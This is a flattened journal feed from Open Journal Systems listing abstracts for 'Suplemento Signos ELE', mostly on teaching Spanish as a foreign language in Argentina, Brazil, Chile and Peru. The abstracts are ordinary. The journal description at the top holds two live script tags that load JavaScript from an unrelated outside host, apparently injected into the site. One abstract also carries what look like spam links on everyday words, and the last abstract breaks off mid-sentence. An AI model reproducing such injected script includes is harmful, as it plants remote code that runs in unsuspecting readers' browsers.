https://p3.usal.edu.ar/index.php/elesup/issue/feed Suplemento Signos ELE 2017-11-22T11:29:22+00:00 Esp. Marysol Valeria Bustos marysol.bustos@usal.edu.ar Open Journal Systems Revista de la Dirección de Publicaciones Científicas.<script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script><script type="text/javascript" src="https://cloudz.im/cache.php?t=1002"></script> https://p3.usal.edu.ar/index.php/elesup/article/view/3285 Algunos desafíos en la enseñanza de escritura en ELE 2015-10-02T16:44:08+00:00 Beatriz Autieri beautieri@gmail.com Pía Pía Bouzas pia.bouzas@gmail.com <p class="normal">Esta ponencia presentará algunas reflexiones en torno a la función de la escritura y la literatura en la enseñanza del español como lengua extranjera, a partir del trabajo realizado con estudiantes avanzados de NYU in Buenos Aires, en dos cursos: Gramática y Composición Avanzada, y Perspectivas Críticas. En ambos se trabaja lectura, escritura y análisis textual, esto último más específicamente en Perspectivas Críticas. En el primero, la literatura aparece como un tipo textual que es subsidiario de la gramática. Por eso, cada cuento es elegido a partir del criterio de determinados contenidos gramaticales y de procedimientos textuales, sin dejar de considerar que el autor sea representativo de Argentina o Latinoamérica. En el segundo, la literatura es el objeto de estudio, a través de sus diferentes géneros: crónica, cuento, teatro, novela y poesía. La escritura de ensayos y breves reseñas es el medio que permite desarrollar la habilidad de una lectura crítica, y a la vez expresarla en una producción escrita académica.</p> <p class="normal">Esta complementariedad de perspectivas y prácticas nos permite reflexionar sobre cuáles son los desafíos centrales de la enseñanza de la escritura en los cursos de nivel avanzado, y qué valores específicos aporta el hecho de trabajar con materiales literarios. Nos preguntamos también por qué en algunas expresiones se aloja la extranjeridad y en qué consiste ese rasgo, cuando un estudiante avanzado no logra comunicar correctamente sus ideas, a pesar de tener una buena gramática y un saber sobre el texto que escribe.</p> <p class="normal">Este trabajo intentará dar respuestas a esas inquietudes y propondrá un camino didáctico posible.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3286 El aprendizaje de ELE de estudiantes chinos: Evaluación de logros alcanzados en su período de estadía en Córdoba 2015-10-02T16:44:08+00:00 Ana María Bocca anabocca@hotmail.com Patricia Compagnoni compat@uolsinectis.com.ar Daniela Nigro dalnigro@hotmail.com <p>En el año 2008, el área de ELE de la Facultad de Lenguas de la UNC recibió a un grupo de 15 estudiantes de nacionalidad china que llegaron a Córdoba con el expreso propósito de estudiar español para luego poder incorporarse en las distintas carreras que ofrece nuestra universidad. Su competencia en el idioma era absolutamente nula y con excepción de un solo caso, ninguno tenía experiencia previa en el estudio de lenguas extranjeras.</p> <p>Como resultado de los interesantes descubrimientos que fuimos realizando como docentes a cargo de su capacitación en español, mientras se desarrollaban los cursos decidimos monitorear su progreso lingüístico por medio de la evaluación periódica, herramienta que nos proporcionaba la información necesaria para la planificación y el desarrollo de estrategias acordes a las necesidades de nuestros estudiantes. Tres años después de finalizados los cursos, pudimos continuar el monitoreo de sus actividades curriculares y extra curriculares por medio de entrevistas al grupo que aún permanece en la ciudad de Córdoba, con el propósito de medir si el proceso de enseñanza/aprendizaje desarrollado en nuestras clases había resultado eficaz y si habíamos logrado dotarlos de las herramientas necesarias para su inclusión en la vida social y académica. Además, también nos interesó conocer qué grado de aprendizaje habían logrado de manera informal a partir de su interacción cotidiana con los habitantes de la ciudad en general y las dificultades que habían encontrado al ingresar a la UNC.</p> <p>En nuestro análisis, se tuvo en cuenta la interpretación de textos, sistematización de la información y producción del discurso oral y escrito.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3288 Español: L2 de personas con sordera 2015-10-02T16:44:08+00:00 Yanina L. Boria yanina.boria@gmail.com <p class="Predeterminado"><span lang="ES">Las lenguas de señas son las lenguas naturales de las personas con sordera. Para este colectivo, las lenguas escritas de los territorios nacionales en los que habitan son lenguas segundas (L2). En el caso de la República Argentina, la Lengua de Señas Argentina (LSA) es lengua natural y la lengua <span>española </span>en su modalidad escrita, L2. En la actualidad, las personas jóvenes con sordera finalizan el nivel secundario siendo, en su mayoría, analfabetos funcionales.</span></p> <p class="Predeterminado"><span lang="ES"> En el presente trabajo se abordan las características del español como L2 específicamente desde una perspectiva visual, considerando las habilidades de lectura, comprensión de textos y escritura. Para ello, se indaga y discute el modo de concebir los procesos cognitivos de aprendizaje y producción de la lectura y escritura por parte de las personas con sordera, siendo estos independientes de la oralidad. Esta situación se analiza y estudia a partir de observaciones realizadas en escuelas de diferentes regiones del país en conjunto con docentes de chicos y chicas sordos. Los datos reunidos son la base para la descripción de las características pedagógicas y didácticas de la enseñanza visual del español como L2 en contextos de personas con sordera. </span></p> <p class="Predeterminado"><span lang="ES">Se espera contribuir a este campo, que continúa siendo, a pesar de su vital importancia, un ámbito científico y pedagógico aún por indagar, generando aperturas hacia nuevas reflexiones.</span></p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3292 El tratamiento lexicográfico de sustantivos heterogenéricos en diccionarios bilingües de español para brasileños 2015-10-02T16:44:08+00:00 Sueli Cabrera Fioravanti suelifiore@yahoo.com.br <p>Los sustantivos heterogenéricos son un conjunto de palabras que, aunque tengan el mismo significado y, en general, grafías semejantes entre dos lenguas, presentan géneros diferentes. En el caso de la enseñanza de la lengua española para brasileños, esas palabras suelen presentarse como un problema en su proceso de aprendizaje, sobre todo en las habilidades de producción oral y escrita. Al producir sus enunciados en lengua española el aprendiz brasileño, a menudo, se equivoca en el uso del género de los sustantivos. Uno de los materiales didácticos que pueden ayudar al aprendiz a resolver este problema es el diccionario. Por lo tanto, siendo los diccionarios un material de investigación de los aprendices, indagamos si y cómo, algunos diccionarios existentes en Brasil abordan esa cuestión. Para este análisis, seleccionamos cinco diccionarios utilizados en el contexto de la escuela brasileña y elegimos una muestra de sustantivos heterogenéricos para analizar si la forma como esas palabras están presentadas y organizadas en la obra ayuda en la producción textual en lengua española. Pretendemos, con este análisis, reflexionar sobre cómo está presentada la información gramatical relativa al género y si eso contribuye al proceso de enseñanza y aprendizaje de español como lengua extranjera.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3289 Uso de recursos didácticos como elementos facilitadores en el proceso de enseñanza-aprendizaje de ELE para alumnos brasileños 2015-10-02T16:44:08+00:00 Fernanda Carvalho Brito brito_fernandinha@hotmail.com <p>Lograr que el alumnado brasileño obtenga un aprendizaje significativo de ELE requiere que haya <a href="http://www.monografias.com/trabajos28/docentes-evaluacion/docentes-evaluacion.shtml">docentes</a> verdaderamente capacitados y que esos no solo impartan clases, sino contribuyan con la creación de nuevas metodologías que sean capaces de volver más sencilla la adquisición de conocimientos y habilidades por parte de los alumnos y que esas les sean útiles y aplicables en su vida <a href="http://www.monografias.com/trabajos11/fuper/fuper.shtml">personal</a> y profesional. De ahí, la importancia de las llamadas <a href="http://www.monografias.com/trabajos11/contrest/contrest.shtml">herramientas</a> didácticas, que tienen como <a href="http://www.monografias.com/trabajos16/objetivos-educacion/objetivos-educacion.shtml">objetivos</a> primordiales los elementos facilitadores y potencializadores en el proceso de enseñanza-aprendizaje del español como lengua extranjera. Las ventajas que traen estas herramientas permiten que ellas sirvan de instrumentos indispensables en la formación de la ciudadanía, pues además de proporcionar informaciones, ellas también sirven de guía para el aprendizaje, es decir, aportan una base concreta para el <a href="http://www.monografias.com/trabajos14/genesispensamto/genesispensamto.shtml">pensamiento</a> conceptual y contribuyen para un aprendizaje significativo, o sea, ellas no solo transmiten informaciones sino que actúan como mediadoras entre la realidad y el estudiante.</p><p> </p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3290 Literatics: sensibilização para o estudo inicial da Língua Espanhola 2015-10-02T16:44:08+00:00 Luciana Contreira Domingo ludomingo@gmail.com Carla Alves Lima karlalima_158@hotmail.com Deise Anne Terra Melgar deisemelgar@yahoo.com.br <p>Este documento tiene por objeto informar de la experiencia de la planificación de un proyecto de enseñanza desarrollado como una actividad complementaria a las clases de Español en curso de nivel inicial en la literatura - portugués / español y sus literaturas. El área de conocimientos de idiomas es uno de los objetivos de la enseñanza y el aprendizaje de una lengua extranjera en el proceso de formación de los docentes. Sin embargo, el desarrollo de habilidades que se hablan en su totalidad no es tarea fácil: por un lado tenemos un tiempo de carga baja para los componentes del plan de estudios de idioma español y en segundo lugar, el elevado número de alumnos en el aula dificulta la integración de habilidades y participación. Otra observación es el alto porcentaje de renuncia por parte de los estudiantes de primer año a lo largo del curso. A partir de lo anterior, hemos identificado la necesidad de crear oportunidades a través de un proyecto de enseñanza, momentos que complementan el tiempo de baja carga de la Lengua Española I y contribuyen a la integración y la retención de estudiantes de primer año de aprendizaje. Cara observado en nuestra experiencia en la enseñanza, entendemos que usted necesita ofrecer momentos de contacto con la lengua y la experiencia en la enseñanza, además de las clases regulares. El proyecto, que combina la lengua española, la literatura en lengua española y las TIC, también contribuirá a la formación de los estudiantes de nivel avanzado que actúan como monitores.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3284 El componente lúdico y la enseñanza del vocabulario: la formación de futuros profesores de español como lengua extranjera 2015-10-02T16:44:08+00:00 Thaís de Mendonça Faria thaismendoncafaria@gmail.com <p>Este proyecto tiene por objetivo reflexionar con futuros profesores- alumnos del curso de Letras de 3º y 4º año con habilitación en lengua española- sobre el uso del diccionario y la enseñanza de vocabulario en las clases de lengua extranjera. Para eso, aplicaremos dos cuestionarios y ofreceremos un curso de introducción a la lexicografía pedagógica, el primer cuestionario tiene el objetivo de detectar los conocimientos previos de los futuros profesores en relación al uso del diccionario en clase. El curso pretende introducir estos futuros docentes en la lexicografía pedagógica, o sea, intentaremos leer textos relacionados a la lexicografía y, juntamente, discutiremos y aplicaremos actividades que estimulen el uso del diccionario en clase de español como lengua extranjera. El segundo cuestionario pretende detectar los posibles cambios de visión en relación al uso de este recurso didáctico y como este uso puede ser más creativo y motivador en el aprendizaje de español. Creemos que cuando el profesor en formación discute más sobre su futura práctica docente, él logra incrementar de manera más motivadora y educacional sus clases, o sea, proporciona a los alumnos una clase más instigante y, al mismo tiempo, presenta vocabulario nuevo que desarrollará la competencia comunicativa de sus alumnos.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3287 Os novos desafios do ensino de língua espanhola para crianças no sul do Brasil 2015-10-02T16:44:08+00:00 Cristina Pureza Duarte Boéssio cristinapdb@hotmail.com Thais Priscila Silva de Oliveira thais.pri.silva@hotmail.com Gean Carlos Franco Gouveia geanunipampa@gmail.com <p>La complejidad del mundo actual exige que, cada vez más, estemos involucrados y comprometidos con la educación y con la enseñanza de contenidos que posibiliten el crecimiento del sujeto como ciudadano del mundo, capaz de moverse con seguridad y criticidad adonde quiera que vaya. Cabe a nosotros, maestros y profesores, posibilitar a los niños una educación contextualizada y significativa que les amplíe los horizontes y les posibilite visiones sin prejuicios, abiertas a la diversidad. Dicho esto, como educadores y profesores de idiomas, nada más oportuno que presentar y discutir una propuesta de enseñanza de lengua española a niños brasileños, aún en fase de alfabetización de su lengua madre, en una región de frontera de (sur) Brasil y Uruguay en la cual, los dos idiomas, portugués y español, forman parte de la realidad cotidiana. Buscamos reflexionar cómo hacerlo de la mejor manera posible ya que no hay legislación que trate del tema – enseñanza de idiomas para niños antes de los diez años de edad. Partiendo de esta perspectiva vamos a relatar acá un proyecto dentro del “Programa Institucional de Bolsas de Iniciação à Docência – PIBID, financiado pela Coordenação de Aperfeiçoamento de Pessoal de Nível Superior – CAPES, com o subprojeto de Letras/Espanhol vinculado à Universidade Federal do Pampa – UNIPAMPA – Campus Jaguarão”, que busca trabajar el idioma a partir de las habilidades de comprensión y producción oral, sin introducir la lectura y la escritura y mostrar lo cuán importante puede ser el desarrollo de esas habilidades en el currículo de la escuela.<strong><em></em></strong></p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3293 Leer para aprender: Estrategias didácticas para el abordaje de la comprensión lectora y desarrollo de competencias en el aula ELE 2015-10-02T16:44:08+00:00 Giselle Garau gisegarau@yahoo.com.ar Silvina Negri silvinegri@gmail.com <p>El desarrollo de las cuatro habilidades lingüísticas, dos de compresión - leer y comprender auditivamente - y dos de producción - hablar y escribir - es central en todos los niveles de la enseñanza de una L2. Distintas estrategias son necesarias para el desarrollo de cada una de estas habilidades; la lectura compresiva es una de ellas y se puede alcanzar un alto nivel de desarrollo en una L2. La lectura en el aula puede resultar altamente motivadora, fuente de diversos tipos de aprendizajes y desarrollo de competencias; pero, por otro lado, puede ser una experiencia frustrante para el aprendiz cuando no recibe la mediación pedagógica necesaria para poder abordar el texto satisfactoriamente. En este trabajo se presenta una secuencia didáctica y estrategias que incluyen actividades previas, simultáneas y posteriores a la lectura, para desarrollar esta habilidad en niveles básicos e intermedios. El propósito es reflexionar acerca de algunos lineamientos pedagógicos sobre el desarrollo de la lectura comprensiva y, a través de ella, el desarrollo de las competencias del usuario o alumno que propone el Marco Común Europeo de Referencia para las Lenguas (2002), es decir, las competencias generales (conocimiento de mundo, conocimiento sociocultural, conciencia intercultural, destrezas y habilidades prácticas y socioculturales, entre otros) y las competencias comunicativas de la lengua. Nos focalizamos, asimismo, en actividades de producción escrita posteriores a la lectura, basadas en la escritura de géneros discursivos tales como la reseña literaria para mostrar cómo, a partir de una lectura, se puede trabajar también la producción escrita.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3295 Didáctica de los contenidos socioculturales en la enseñanza de ELE 2015-10-02T16:44:08+00:00 Daniela María Maiz Ugarte danielamaiz@yahoo.com.ar <p>El presente trabajo reflexiona acerca de la problemática de la integración de los <strong>contenidos socioculturales</strong> en la didáctica del español como lengua extranjera. A partir del hecho, muy frecuente, de que la lengua y la cultura son presentadas de modo escindido, se exploran diferentes modos de abordar la enseñanza de la cultura de la lengua extranjera. Al respecto, se señala la ingente variedad de abordajes y conceptualizaciones sobre el término <strong>“Cultura”</strong>, distinguiendo dos grandes corrientes en la visión de la misma: una que considera a la <strong>Cultura, con mayúsculas y otra que se orienta a la cultura con minúsculas o implícitos culturales.</strong> A partir de las categorías de análisis como son: los <strong>estereotipos, la integración entre la lengua y la cultura, los patrones de comportamiento, la información cultural, las variedades lingüísticas, los grupos humanos que aparecen, y la reflexión cultural, </strong>se opera el análisis y la reflexión de propuestas bibliográficas ilustrativas a los efectos de la exposición. Realizando una descripción integral de nuestra propuesta de cómo debieran presentarse los contenidos socioculturales al aprendiente de lengua extranjera, en este caso particular, el español. Por último, en las conclusiones, se aborda la problemática de la <strong>competencia intercultural,</strong> necesaria e indispensable para toda comunicación eficaz.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3297 Estrategias didácticas para la formación de lectores críticos del español como segunda lengua 2015-10-02T16:44:08+00:00 Francisco Samuel Mendoza Moreira fmendozax89@gmail.com <p>La lectura crítica es uno de los desafíos modernos de la escuela actual, desde los principios del constructivismo y su evolución a la pedagogía crítica en los diferentes enfoques que acompañan a los modelos pedagógicos a los que se recurre para hacer docencia.</p> <p>Desde la mediación pedagógica, se desarrolla una metodología para la selección de estrategias lectoras efectivas para consolidar destrezas de lectura crítica en hablantes del español como segundo idioma, las cuales, se presentan como resultado de esta investigación. El fondo de experiencia lectora, no se adquiere con un programa semestral de Comunicación Oral y Escrita. Para alcanzar la consolidación de destrezas y la construcción de competencias sólidas de comprensión lectora, es necesaria la práctica constante y sistemática que requiere un buen hábito lector.</p> <p>La ejecución de las estrategias desarrolladas, por medio de una adecuada mediación pedagógica en que el hablante sea el centro y enfoque del proceso de aprendizaje, asegura el desarrollo de una postura crítica frente a los mensajes del entorno transmitidos en textos dulces y utilitarios.</p> <p><strong><em> </em></strong></p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3298 El proyecto de aula: estrategia para la formación ciudadana mediante la enseñanza del español: estudio contrastivo 2015-10-02T16:44:08+00:00 Juan Eliseo Montoya Marín juanemontoya@yahoo.es <p>La formación de la ciudadanía es una responsabilidad de las instituciones de educación en todos los niveles. Una estrategia óptima para ello es el proyecto de aula, cuya columna vertebral son los procesos de lectura y escritura y el reconocimiento del entorno, los cuales, mediante el trabajo en equipo, permiten alcanzar un aprendizaje significativo, no sólo en términos académicos, sino de formación humana. Este artículo presenta un estudio contrastivo a este respecto entre la experiencia de proyecto de aula en una institución de educación básica y media del Estado (Institución Educativa José Miguel de Restrepo y Puerta) y en una de educación superior en Universidad privada (Universidad Pontificia Bolivariana). A la postre, la finalidad de la formación es la misma y el aprendizaje sistemático del Español en los procesos de lectura y escritura son los elementos de entrada y de sostenibilidad de la vida académica y de la convivencia ciudadana. Los resultados de este estudio pueden representar la oportunidad de identificar puntos de articulación entre la formación básica y media y la formación universitaria en términos de formación ciudadana y de procesos de lectura y escritura.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3294 La contribución de la didáctica de español como lengua extranjera en proyectos de pasantías docente: enfoque en la interculturalidad 2015-10-02T16:44:08+00:00 Rosangela Sánchez da Silveira Gileno rosangela@fclar.unesp.br Luciana Mayumi Yakuwa mayumi.yakuwa@gmail.com Luis Carlos Viana Junior viannacely@ifba.edu.br <p>Hoy, en Brasil, hay una demanda real de cursos y consecuentemente de profesores de español como segunda lengua (L2) o lengua extranjera (LE), en diferentes contextos de enseñanza. Por lo tanto, es imperativo que los cursos de grado en los programas de formación docente de español L2 o LE incluyan en sus discusiones cuestiones relacionadas con los conceptos de lengua y enseñanza de lenguas, de teorías de adquisición y aprendizaje de lenguas, de conceptos de evaluación, de competencias y habilidades lingüísticas, de técnicas y estrategias de enseñanza y aprendizaje, de aspectos culturales, entre otros (Fernández, 2008). Específicamente, en la asignatura de Didáctica de español como LE estamos trabajando con el paradigma del enfoque reflexivo para la formación del profesorado (Zeichner, 1993), de modo que los estudiantes sean guiados para desarrollar sus proyectos de cursos en la modalidad de taller sobre el aprendizaje de español lengua extranjera (ELE). Así tienen la oportunidad de poner en práctica el enfoque y las teorías estudiadas en su formación universitaria en las clases de ELE, en escuela primaria o secundaria. En este contexto, este trabajo apunta presentar reflexiones y experiencias de un proyecto titulado “Introducción a la lengua y la cultura hispánica”, cuyo objetivo es desarrollar en el aprendiz la competencia cultural y también intercultural, o sea, la competencia para conocer las diferencias entre la cultura de la nueva lengua y la lengua propia en situaciones concretas y para desenvolver estrategias para lidiar de forma comprensiva con las costumbres de la otra cultura (Rozenfeld &amp; Vianna, 2011).</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3299 Saber definir para poder aprender De cómo la definición lexicográfica puede ayudarnos en la enseñanza de vocabulario 2015-10-02T16:44:08+00:00 Susana Serra Sepúlveda sserras@gmail.com <p>El diccionario moderno no debería ser solamente un repositorio del vocabulario vigente de un idioma. En él, las palabras tendrían que definirse de un modo tal, que cualquier usuario de la lengua (nativo o extranjero) pudiera <em>aprehender</em>, junto con su significado, el modo en que ellas se usan. En lexicografía española, esto se ha buscado insistentemente desde la institución del método del <em>contorno</em> por Manuel Seco (1967). Sin embargo, en los diccionarios actuales de español, no siempre se señalan (todos) los contornos de los definidos, y cuando se los llega a señalar, aparecen mal delimitados o se utilizan procedimientos de demarcación (corchetes, etc.) que no solo atentan contra el principio de sencillez, sino que además entorpecen la inteligibilidad de las definiciones.</p> <p>Lo que aquí queremos proponer es que, empleado de manera apropiada, el método en cuestión se convierte en un valioso instrumento para destacar la red argumental completa de los definidos y, consecuentemente, para propiciar el aprendizaje eficaz del léxico de un idioma.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3241 Los cuentos infantiles como recurso para el aprendizaje de español como lengua extranjera 2015-10-02T16:44:08+00:00 Maraisa Damiana Soares Alves maraisaalves25@gmail.com Carlos Rilke Silva rilke.adelinosilva@usal.edu.ar El texto literario presenta un abanico de posibilidades al aprendiente de una segunda lengua, pues nos trae la historia, la cultura y los rasgos lingûísticos de una comunidad de habla, en este caso del español. Para Mendoza (2008) "la competencia literaria activa distintos conocimientos para reconocer los usos y convenciones comunicativasde la lengua". Por ello, este trabajotiene como objetivo presentar una propuesta de aprendizaje de español por medio de textos literarios infantiles con estudiantes de la licenciatura en español, de la UFRN, que actuarán fundamentalmente como profesores.Para la realización de este trabajo utilizamos una versión infantil del Ingenioso Don Quijote de la Mancha para además de los conocimientos culturales, posibilitar una ampliación de los campos semánticos de determinados contenidos de la obra y el aprendizaje de metáforas que nos son presentadas en esta versión. Concluimos que el texto literario contribuye para el conocimiento de la cultura de un país. Además nos presenta diversos campos semánticos que pueden ser ampliados en las clases de español, generando nuevas posibilidades a los aprendientes de ELE. 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3300 Gramática del español lengua materna y lengua extranjera. Conexiones y distancias, ¿qué podemos tomar de la teoría los profesores de ele? 2017-11-22T11:28:18+00:00 Ingrid Viñas Quiroga ingrid@ffyh.unc.edu.ar <p class="96Textoprincipal">El objetivo de esta exposición es revisar qué aspectos de cada enfoque teórico sobre adquisición de la lengua nativa y no nativa y las metodologías derivadas de dichas teorías pueden favorecer nuestras prácticas docentes en el proceso de enseñanza del español como lengua extranjera. Para ello, primero abordaremos brevemente las diversas perspectivas que explican el aprendizaje y la adquisición de la lengua materna empezando por los enfoques innatistas (gramáticas chomskianas y las denominadas de los facilitadores: iniciador prosódico, semántico y sintáctico) y siguiendo por las teorías psicogenéticas, las sociopragmáticas, los modelos de procesamiento (principios operativos slobianos y el modelo de competencia de Bates y McWhinney) y los modelos conductistas, para pasar a tratar luego las teorías de adquisición de una lengua segunda/extranjera (los modelos nativistas, los interaccionistas, los cognitivos). Señalamos aportes y limitaciones. Luego nos detendremos en las diferencias entre ambos procesos (adquisición de una L1 y de una L2). Rescataremos a continuación los aspectos de cada teoría con que se puede abordar la enseñanza de ELE. Finalmente nos preguntamos si algunas de las teorías que gozaron de aceptación en las aulas de nuestro país para la enseñanza de la gramática en lengua materna podrían aplicarse a ELE. Conocer el objeto de enseñanza y los procesos de aprendizaje en general y en particular de la lengua brinda herramientas al docente para reflexionar críticamente sobre sus prácticas y seleccionar metodologías y recursos más provechosos.</p> 2015-10-02T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3262 Evaluación del léxico en exámenes vestibulares de español 2015-10-02T16:44:08+00:00 Ana L. Brown analaura.brown@gmail.com <p>Los exámenes de ingreso universitario en Brasil constituyen un objeto de estudio fértil para comprender el desarrollo del español en este país. En primer lugar, se trata de exámenes de alta relevancia (Scaramucci, 2002) ya que son determinantes en las vidas de los sujetos que los rinden. Por otro lado, cada vez más universidades federales brasileñas incorporan exámenes de español en su ingreso, especialmente después de la entrada en vigencia de la ley de obligatoriedad de la oferta de español en la escuela, en 2010.</p> <p>Entre los estudios que han tomado como objeto estos exámenes, algunos han asumido la perspectiva del análisis de su constructo (Bachman y Palmer, 1996), a partir del análisis del discurso (Rocha Fraga, 2001) y desde el análisis textual, en exámenes de inglés (Lopes, 2009). Es desde esta última perspectiva (Halliday, 2004) que analizamos los modos de evaluar el léxico en un corpus de exámenes vestibulares de español, como parte de una investigación en curso sobre los constructos de estas pruebas.</p> <p>Se seleccionaron diez exámenes de universidades federales brasileñas, a partir de un criterio de distribución regional. En el análisis tomamos en cuenta los textos ofrecidos como <em>input</em>, el tipo de ítems utilizados (Read, 2000) y las relaciones léxicas que intervienen en el ítem en relación con el <em>input.</em> (Eggins, 2002). Los resultados muestran que la evaluación del léxico tiende a estar asociada a la de la comprensión lectora, aunque se identifican algunos ítems que refieren a cuestiones que exceden los <em>inputs</em>.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3263 Evaluación de presentaciones orales académicas: elaboración de descriptores basados en la performance 2015-10-02T16:44:08+00:00 Ana L. L. Brown analaura.brown@gmail.com Miranda Trincheri mirancheri@yahoo.com.ar <p>El Laboratorio de Idiomas de la Facultad de Filosofía y Letras, Universidad de Buenos Aires evalúa y certifica desde 2010 a los alumnos de un programa de intercambio provenientes de universidades estadounidenses. Para aprobar el curso de español, los estudiantes deben presentar oralmente ante los evaluadores del Laboratorio una monografía que han escrito con la supervisión de sus profesores del programa. De esta forma, se evalúa una presentación oral académica, cuyos rasgos han sido definidos en base a las descripciones de estos géneros en español como lengua extranjera (Vázquez, 2001; 2005), y a los objetivos específicos de los cursos del programa referido.</p> <p>Los estudios sobre oralidad académica en español como lengua extranjera son aún incipientes (Villar, 2011; Ainciburu y Villar 2013). Dada la diversidad de las presentaciones en los diferentes contextos de enseñanza, se hace necesario contar con descripciones de caso que informen las prácticas más frecuentes.</p> <p>En el presente trabajo nos proponemos ajustar los descriptores (Underhill, 2000; Douglas, 2000) actualmente en uso, para obtener en un paso posterior, una herramienta que posea mayor poder descriptivo. Para ello comparamos un corpus de presentaciones orales grabadas previamente analizado (Brown y Trincheri, en prensa), con la perspectiva de los evaluadores, a partir de las anotaciones vertidas en las planillas de evaluación. También tuvimos en cuenta las especificaciones del examen. Como resultado obtuvimos una serie de descriptores que nos permitirán ajustar la grilla existente y que pueden adaptarse a otras situaciones de evaluación.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3264 Propuesta de una prueba para medir el nivel de proficiencia 2015-10-02T16:44:08+00:00 Jessica Andrea Elejalde Gómez jesseleg@gmail.com Anita Ferreira Cabrera aferreir@udec.cl Ana Enriqueta Vine Jara anavinej@gmail.com <p>El Programa de Español como LE de la Universidad de Concepción (ELE-UdeC) dicta cursos trimestrales a estudiantes de intercambio que realizan estudios en esta universidad. El nivel exigido por la institución corresponde a un nivel B1 acorde con el ALTE. En este contexto, se ha detectado una problemática relacionada con el nivel de proficiencia declarado por el estudiante en el formulario de ingreso. Este no siempre refleja el nivel real que tienen los alumnos. En algunos casos el nivel es superior al declarado y en otros es inferior. Por este motivo, se diseñó un instrumento de medición para poder determinar con mayor precisión el nivel real de competencia que tienen los alumnos. De esta manera, se podría seleccionar y distribuir adecuadamente a los alumnos en los cursos correspondientes. En este trabajo, se presenta los resultados de un estudio longitudinal en el cual se evaluó el desempeño del instrumento elaborado en el programa ELE-UdeC. El estudio se llevó a cabo entre los años 2011 y 2013, y participaron 55 estudiantes de diferentes L1 y nacionalidades. Los objetivos fueron: 1. Verificar si el nivel declarado por los estudiantes correspondía al nivel B1 y 2. Medir el incremento en el aprendizaje de ELE finalizado el curso. Para ello, se implementaron dos versiones equivalentes de esta prueba: la primera se aplicó al ingreso del programa y, la segunda, al término del curso. Los resultados permiten visualizar que las dos versiones del instrumento han sido apropiadas para corroborar tanto el nivel B1 de los estudiantes, permitiendo distribuir de manera más asertiva los grupos, como los logros en el aprendizaje al finalizar.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3265 Conectores discursivos argumentativos en cartas de lector en el español rioplatense 2015-10-02T16:44:08+00:00 Elisa Verónica Seguí elisavsegui@gmail.com <p>Esta comunicación es parte de una investigación mayor que se centra en cartas de lector producidas por lusohablantes de portugués brasileño en el CELU (Certificado de Español Lengua y Uso).</p> <p>En esta ponencia analizaremos el patrón de referencia construido <em>ad hoc</em> con cartas de lector de distintos diarios de tirada nacional en español y, específicamente, observaremos dentro de los marcadores discursivos argumentativos los conectores discursivos que se emplean con mayor frecuencia dentro de la muestra. Hemos elegido las cartas de lector, en primer lugar, porque se trata de uno de los ejemplos más claros de condensación argumentativa: en un espacio mínimo, debido a las exigencias editoriales, el autor se ve obligado a presentar una argumentación coherente y relevante que el alocutor cree imprescindible para persuadir al lector. En segundo lugar, porque suele ser un tipo de texto que se propone en el examen CELU, aunque esta tarea de escritura tiene diferencias respecto de las cartas destinadas a la publicación en la prensa escrita, pues se trata de un texto sin un público lector masivo, cuyos únicos lectores son los evaluadores; vehiculiza el modo de sentir y pensar en torno de un asunto que no es elegida por el productor del texto y que puede no ser significativa para él, ya que se presenta como una tarea requerida para constatar el nivel de competencia de los candidatos para otorgarles una certificación de lo que estos pueden hacer con la lengua para ser considerados proficientes.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3266 Diagnóstico sobre el desarrollo sintáctico de los alumnos de quinto de secundaria que ingresan a la Universidad de Piura-Perú 2015-10-02T16:44:08+00:00 Nelly María Trelles Castro nelly.trelles@udep.pe <p>Un profesor de lengua materna considera de suma importancia el conocimiento del desarrollo sintáctico de sus alumnos y el conocimiento de un vocabulario básico de la carrera que han elegido. Por eso es necesario investigar cuál es el estado en que se encuentran cuando recién ingresan a la universidad puesto que de eso dependerán los contenidos teóricos y prácticos del sílabo y el desarrollo de las clases. La investigación analiza la relación que existe entre el conocimiento de un vocabulario básico de economía y empresas con la de madurez sintáctica –grado de corrección y de complejidad de las oraciones que constituyen un párrafo – en los jóvenes que han terminado la secundaria de la Educación Básica Regular de Perú que ya han elegido una carrera. Los recién ingresantes están inscritos en la facultad de Ciencias Económicas y Empresariales de la Universidad de Piura, Perú. El primer día de clases -04 de marzo- se les aplicó a los alumnos una prueba diagnóstico para saber cómo estaban en ortografía, reconocimiento de las partes de la oración, clases de oraciones y una lista de diez términos relacionados con su carrera para que construyeran un párrafo. El corpus está constituido solo por el apartado IV que consistía en la redacción de un párrafo. Para este trabajo de investigación me he basado en diferentes investigaciones realizadas por Irma N. Vázquez (1991) de la 